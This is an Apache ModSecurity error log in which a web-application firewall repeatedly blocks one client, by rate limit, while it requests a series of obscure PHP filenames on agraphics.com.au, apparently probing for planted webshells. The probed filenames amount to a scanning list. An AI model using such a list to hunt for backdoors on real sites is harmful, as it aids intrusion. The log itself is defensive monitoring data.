[Sun Dec 21 21:42:19.446463 2025] [:error] [pid 30183:tid 30192] [client 104.208.116.65:33355] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fclas.php"] [unique_id "aUf5O-CmP2zCzk_WZcUV0gAAAQc"]
[Sun Dec 21 21:42:19.805924 2025] [:error] [pid 30183:tid 30191] [client 104.208.116.65:34557] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/File.php"] [unique_id "aUf5O-CmP2zCzk_WZcUV0wAAAQY"]
[Sun Dec 21 21:42:20.117595 2025] [:error] [pid 30183:tid 30207] [client 104.208.116.65:34507] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/File.php"] [unique_id "aUf5POCmP2zCzk_WZcUV1QAAARY"]
[Sun Dec 21 21:42:20.380587 2025] [:error] [pid 30183:tid 30193] [client 104.208.116.65:33345] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/File.php"] [unique_id "aUf5POCmP2zCzk_WZcUV1wAAAQg"]
[Sun Dec 21 21:42:20.644874 2025] [:error] [pid 59158:tid 59164] [client 104.208.116.65:34526] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/File.php"] [unique_id "aUf5PI7NvyNF8ab5VgVMewAAAMQ"]
[Sun Dec 21 21:42:21.011650 2025] [:error] [pid 59067:tid 59090] [client 104.208.116.65:33379] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/all.php"] [unique_id "aUf5PctpsOP1NfIK_qJvDAAAABA"]
[Sun Dec 21 21:42:21.288379 2025] [:error] [pid 59158:tid 59183] [client 104.208.116.65:12239] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/all.php"] [unique_id "aUf5PY7NvyNF8ab5VgVMfAAAANc"]
[Sun Dec 21 21:42:21.631452 2025] [:error] [pid 42755:tid 42771] [client 104.208.116.65:34515] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/all.php"] [unique_id "aUf5PeW0XvxgXMTJJbvZwQAAAU4"]
[Sun Dec 21 21:42:21.991621 2025] [:error] [pid 42755:tid 42763] [client 104.208.116.65:33380] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/all.php"] [unique_id "aUf5PeW0XvxgXMTJJbvZwgAAAUY"]
[Sun Dec 21 21:42:22.268620 2025] [:error] [pid 59067:tid 59087] [client 104.208.116.65:33349] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbn.php"] [unique_id "aUf5PstpsOP1NfIK_qJvDQAAAA0"]
[Sun Dec 21 21:42:22.599284 2025] [:error] [pid 59158:tid 59165] [client 104.208.116.65:33407] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbn.php"] [unique_id "aUf5Po7NvyNF8ab5VgVMfgAAAMU"]
[Sun Dec 21 21:42:23.026732 2025] [:error] [pid 42755:tid 42766] [client 104.208.116.65:12247] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbn.php"] [unique_id "aUf5P-W0XvxgXMTJJbvZyAAAAUk"]
[Sun Dec 21 21:42:23.313423 2025] [:error] [pid 30183:tid 30188] [client 104.208.116.65:34550] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbn.php"] [unique_id "aUf5P-CmP2zCzk_WZcUV2wAAAQM"]
[Sun Dec 21 21:42:23.651020 2025] [:error] [pid 59070:tid 59139] [client 104.208.116.65:33361] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aUf5P33dhXne9KX1kgJXHQAAAIs"]
[Sun Dec 21 21:42:23.922048 2025] [:error] [pid 59067:tid 59095] [client 104.208.116.65:33384] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aUf5P8tpsOP1NfIK_qJvEAAAABU"]
[Sun Dec 21 21:42:24.177971 2025] [:error] [pid 59158:tid 59176] [client 104.208.116.65:34554] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aUf5QI7NvyNF8ab5VgVMgQAAANA"]
[Sun Dec 21 21:42:24.497833 2025] [:error] [pid 59068:tid 59116] [client 104.208.116.65:33370] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aUf5QBmLyLqWUlrjwyecDgAAAE8"]
[Sun Dec 21 21:42:24.880101 2025] [:error] [pid 59067:tid 59088] [client 104.208.116.65:34537] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aUf5QMtpsOP1NfIK_qJvEgAAAA4"]
[Sun Dec 21 21:42:25.139010 2025] [:error] [pid 59068:tid 59103] [client 104.208.116.65:33346] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aUf5QRmLyLqWUlrjwyecEAAAAEI"]
[Sun Dec 21 21:42:25.530631 2025] [:error] [pid 59068:tid 59125] [client 104.208.116.65:34527] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aUf5QRmLyLqWUlrjwyecEgAAAFg"]
[Sun Dec 21 21:42:26.213819 2025] [:error] [pid 30183:tid 30204] [client 104.208.116.65:34552] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aUf5QuCmP2zCzk_WZcUV5AAAARM"]
[Sun Dec 21 21:42:26.818043 2025] [:error] [pid 59158:tid 59180] [client 104.208.116.65:34516] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api2.php"] [unique_id "aUf5Qo7NvyNF8ab5VgVMhAAAANQ"]
[Sun Dec 21 21:42:27.191358 2025] [:error] [pid 30183:tid 30199] [client 104.208.116.65:34543] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api2.php"] [unique_id "aUf5Q-CmP2zCzk_WZcUV5wAAAQ4"]
[Sun Dec 21 21:42:27.464882 2025] [:error] [pid 42755:tid 42770] [client 104.208.116.65:33352] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api2.php"] [unique_id "aUf5Q-W0XvxgXMTJJbvZygAAAU0"]
[Sun Dec 21 21:42:27.849189 2025] [:error] [pid 59158:tid 59164] [client 104.208.116.65:33381] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api2.php"] [unique_id "aUf5Q47NvyNF8ab5VgVMiAAAAMQ"]
[Sun Dec 21 21:42:28.173615 2025] [:error] [pid 59070:tid 59150] [client 104.208.116.65:34514] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xz89.php"] [unique_id "aUf5RH3dhXne9KX1kgJXIAAAAJY"]
[Sun Dec 21 21:42:28.460410 2025] [:error] [pid 42755:tid 42758] [client 104.208.116.65:34522] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xz89.php"] [unique_id "aUf5ROW0XvxgXMTJJbvZywAAAUE"]
[Sun Dec 21 21:42:28.763209 2025] [:error] [pid 59067:tid 59075] [client 104.208.116.65:33356] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xz89.php"] [unique_id "aUf5RMtpsOP1NfIK_qJvGQAAAAE"]
[Sun Dec 21 21:42:29.421380 2025] [:error] [pid 59158:tid 59163] [client 104.208.116.65:33397] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xz89.php"] [unique_id "aUf5RY7NvyNF8ab5VgVMigAAAMM"]
[Sun Dec 21 21:42:29.686696 2025] [:error] [pid 59068:tid 59105] [client 104.208.116.65:33364] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thai.php"] [unique_id "aUf5RRmLyLqWUlrjwyecHgAAAEQ"]
[Sun Dec 21 21:42:29.992502 2025] [:error] [pid 59158:tid 59165] [client 104.208.116.65:33363] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thai.php"] [unique_id "aUf5RY7NvyNF8ab5VgVMiwAAAMU"]
[Sun Dec 21 21:42:30.282690 2025] [:error] [pid 59068:tid 59112] [client 104.208.116.65:34551] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thai.php"] [unique_id "aUf5RhmLyLqWUlrjwyecIQAAAEs"]
[Sun Dec 21 21:42:30.590889 2025] [:error] [pid 30183:tid 30198] [client 104.208.116.65:34541] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thai.php"] [unique_id "aUf5RuCmP2zCzk_WZcUV7gAAAQ0"]
[Sun Dec 21 21:42:30.873884 2025] [:error] [pid 59068:tid 59123] [client 104.208.116.65:33378] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lopst.php"] [unique_id "aUf5RhmLyLqWUlrjwyecJAAAAFY"]
[Sun Dec 21 21:42:31.302275 2025] [:error] [pid 59068:tid 59114] [client 104.208.116.65:34530] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lopst.php"] [unique_id "aUf5RxmLyLqWUlrjwyecJgAAAE0"]
[Sun Dec 21 21:42:31.623686 2025] [:error] [pid 42755:tid 42764] [client 104.208.116.65:12267] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lopst.php"] [unique_id "aUf5R-W0XvxgXMTJJbvZzAAAAUc"]
[Sun Dec 21 21:42:31.925769 2025] [:error] [pid 42755:tid 42765] [client 104.208.116.65:34535] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lopst.php"] [unique_id "aUf5R-W0XvxgXMTJJbvZzQAAAUg"]
[Sun Dec 21 21:42:32.358423 2025] [:error] [pid 59067:tid 59077] [client 104.208.116.65:33372] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wft.php"] [unique_id "aUf5SMtpsOP1NfIK_qJvHgAAAAM"]
[Sun Dec 21 21:42:32.622672 2025] [:error] [pid 30183:tid 30201] [client 104.208.116.65:33354] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wft.php"] [unique_id "aUf5SOCmP2zCzk_WZcUV8QAAARA"]
[Sun Dec 21 21:42:32.875400 2025] [:error] [pid 42755:tid 42779] [client 104.208.116.65:12260] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wft.php"] [unique_id "aUf5SOW0XvxgXMTJJbvZ0QAAAVY"]
[Sun Dec 21 21:42:33.144341 2025] [:error] [pid 42755:tid 42774] [client 104.208.116.65:34508] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wft.php"] [unique_id "aUf5SeW0XvxgXMTJJbvZ0gAAAVE"]
[Sun Dec 21 21:42:33.430523 2025] [:error] [pid 59068:tid 59111] [client 104.208.116.65:12238] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws28.php"] [unique_id "aUf5SRmLyLqWUlrjwyecKgAAAEo"]
[Sun Dec 21 21:42:33.788365 2025] [:error] [pid 59067:tid 59091] [client 104.208.116.65:34503] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws28.php"] [unique_id "aUf5SctpsOP1NfIK_qJvIgAAABE"]
[Sun Dec 21 21:42:34.106638 2025] [:error] [pid 59158:tid 59177] [client 104.208.116.65:33369] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws28.php"] [unique_id "aUf5So7NvyNF8ab5VgVMkAAAANE"]
[Sun Dec 21 21:42:34.475051 2025] [:error] [pid 30183:tid 30197] [client 104.208.116.65:12241] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws28.php"] [unique_id "aUf5SuCmP2zCzk_WZcUV9QAAAQw"]
[Sun Dec 21 21:42:34.967210 2025] [:error] [pid 30183:tid 30205] [client 104.208.116.65:12228] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsvvs.php"] [unique_id "aUf5SuCmP2zCzk_WZcUV-QAAARQ"]
[Sun Dec 21 21:42:35.238746 2025] [:error] [pid 59068:tid 59102] [client 104.208.116.65:33405] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsvvs.php"] [unique_id "aUf5SxmLyLqWUlrjwyecLQAAAEE"]
[Sun Dec 21 21:42:35.553001 2025] [:error] [pid 30183:tid 30196] [client 104.208.116.65:33383] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsvvs.php"] [unique_id "aUf5S-CmP2zCzk_WZcUV_AAAAQs"]
[Sun Dec 21 21:42:35.836046 2025] [:error] [pid 59068:tid 59125] [client 104.208.116.65:34501] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsvvs.php"] [unique_id "aUf5SxmLyLqWUlrjwyecMQAAAFg"]
[Sun Dec 21 21:42:36.104923 2025] [:error] [pid 59068:tid 59113] [client 104.208.116.65:33389] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vbbn.php"] [unique_id "aUf5TBmLyLqWUlrjwyecMgAAAEw"]
[Sun Dec 21 21:42:36.552565 2025] [:error] [pid 42755:tid 42777] [client 104.208.116.65:12166] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vbbn.php"] [unique_id "aUf5TOW0XvxgXMTJJbvZ1QAAAVQ"]
[Sun Dec 21 21:42:36.925433 2025] [:error] [pid 59068:tid 59111] [client 104.208.116.65:12224] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vbbn.php"] [unique_id "aUf5TBmLyLqWUlrjwyecOQAAAEo"]
[Sun Dec 21 21:42:37.272756 2025] [:error] [pid 30183:tid 30202] [client 104.208.116.65:33406] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vbbn.php"] [unique_id "aUf5TeCmP2zCzk_WZcUV_wAAARE"]
[Sun Dec 21 21:42:37.712526 2025] [:error] [pid 30183:tid 30201] [client 104.208.116.65:33404] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aUf5TeCmP2zCzk_WZcUWAQAAARA"]
[Sun Dec 21 21:42:38.016306 2025] [:error] [pid 59067:tid 59087] [client 104.208.116.65:33350] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aUf5TstpsOP1NfIK_qJvJQAAAA0"]
[Sun Dec 21 21:42:38.286587 2025] [:error] [pid 30183:tid 30208] [client 104.208.116.65:34534] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aUf5TuCmP2zCzk_WZcUWBQAAARc"]
